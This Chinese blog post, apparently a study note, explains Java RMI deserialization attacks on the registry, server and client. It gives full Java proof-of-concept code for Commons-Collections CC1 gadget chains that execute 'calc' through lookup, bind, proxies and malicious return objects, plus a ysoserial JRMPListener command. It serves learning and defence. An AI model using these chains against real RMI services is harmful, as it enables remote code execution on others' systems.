RMI反序列化攻击

反序列化攻击

一.攻击注册中心

前面我们分析了Registryimpl_Skel.dispatch对于不同方法交互有不同数字分配,并且除了 list 都有反序列化的点

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

1.1 客户端攻击注册中心

unbind 与 lookup 处理一样,以 lookup 为例 。对于注册中心而言,lookup 代表与客户端进行交互,bind 代表与服务端进行交互.

现在看 lookup 怎么攻击,通过前面我们的分析可以知道 lookup 里面序列化远程对象的 name(String 类型的)不能利用进行攻击

就得重新自己写一个 lookup 能序列化 Object 类的来进行连接()

首先进行分析 Registry_Stub.lookup,明白它的功能,

  1. 创建一次远程调用上下文 super.ref 就是 UnicastRef 调用 newCall 方法,将Registry_Stub 私有属性 operations 传进去
    • RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
1
private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
  1. 方法参数 var1 进行序列化,并写入到网络通道中
    • ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); </font
  2. 建立网络连接 UnicastRef.invoke
    • super.ref.invoke(var2);
  3. 再反序列化(现在我们研究客户端进行攻击,它被攻击的这个点可省略)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
.....

所以现在整理一下需要反射获取父类 ref 即 RemoteObject 的 ref

定义数组 operations

POC :

注意服务端客户端都得添加一样的依赖。这里用 CC3 的依赖打 CC1

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class ClientAttRegistry {

public static void main(String[] args) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

//lookup:

//反射获取RemoteObject的属性(RemoteRef)ref
Class<?> clazz = Class.forName("java.rmi.server.RemoteObject");
Field field = clazz.getDeclaredField("ref");
field.setAccessible(true);
UnicastRef ref = (UnicastRef) field.get(registry);
//newCall
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
//序列化
var3.writeObject(CC1());
ref.invoke(var2);


}


private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

public static Object CC1() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
map.put("value","value");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);
return o;
}


}

1.2 服务端攻击注册中心

bind 这里就和 lookup 一样样,newCall 传的第二个参数数字变为 0

发现是可以的(0,2,3,4 都 ok)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//Registry_Stub.bind
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);

try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}

super.ref.invoke(var3);
super.ref.done(var3);

接下来 bind 相比 lookup 还有另一种利用方式

因为它不只是序列化了 String,还序列化 Remote 接口这里可以利用,那么就可以用动态代理,传一个代理类,代理类反序列化的时候就调用 InvocationHandle 的 readObject。然后调用处理器就是我们封装的恶意代码

POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void main(String[] args) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote remoteProxy = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class },
CC1());
registry.bind("111",remoteProxy);


}


private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

public static InvocationHandler CC1() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
map.put("value","value");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);
InvocationHandler o1 = (InvocationHandler) o;
return o1;
}

二.攻击服务端

2.1 客户端攻击服务端

场景:客户端发起请求序列化方法参数,调用远程方法。要造成对服务端的攻击参数可利用(Object)就好了,我们之前在 demo 中写调用 sayHello 参数为 String,那重新写一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void main(String[] args) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");//lookup("rmi://127.0.0.1:1099/remoteObject")
System.out.println(remoteObj.sayhello(CC1()));

}


private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

public static Object CC1() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
map.put("value","value");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);
return o;
}

那当服务端没有 Object 参数方法时怎么绕过,后续具体学,还有 Bypass JEP290 一些相关

三.攻击客户端

3.1 服务端攻击客户端

分两种情况,一种与上面对称:客户端请求方法后服务端返回恶意对象,这个对象是 Object 的就可以利用,另一种是远程加载对象,这种就是 P 神 codebase

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的

CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如httpftp等。

如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则

Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为

Example 类的字节码。

当 codebase 被控制,我们就可以加载恶意类,但是只有满足以下条件的 RMI 服务器才能被攻击:
● 安装并配置了 SecurityManager
● Java 版本低于 7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false 其中 java.rmi.server.useCodebaseOnly 是在 Java 7u21、6u45 的时候修改的一个默认设置

服务端返回 Object

创建的代理类能强转成任何想要的类,就用 CC1(LazyMap 动态代理版的)打好了

服务端实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {

public RemoteObjImpl() throws RemoteException {
}


@Override
public String sayhello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}



@Override
public Object sayHello() throws RemoteException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


return (Object) handler;

}
}

两端接口都添加这个的方法

客户端直接调用

1
2
3
4
5
6
7
8
public class RMICilent {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");//lookup("rmi://127.0.0.1:1099/remoteObject")
remoteObj.sayhello();
}

}

3.2 注册中心攻击客户端

注册中心去攻击还是上面看过的这几个方法 bind,unbind,list,lookup,

除了unbindrebind,其他方法都会反序列化

我们使用 ysoserial 的 JRMPListener,命令如下

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

再运行客户端

参考博客:

https://drun1baby.top

https://halfblue.github.io


RMI反序列化攻击
https://bxhhf.github.io/2025/08/27/yuque-hexo-post/RMI反序列化攻击/
作者
bxhhf
发布于
2025年8月27日
许可协议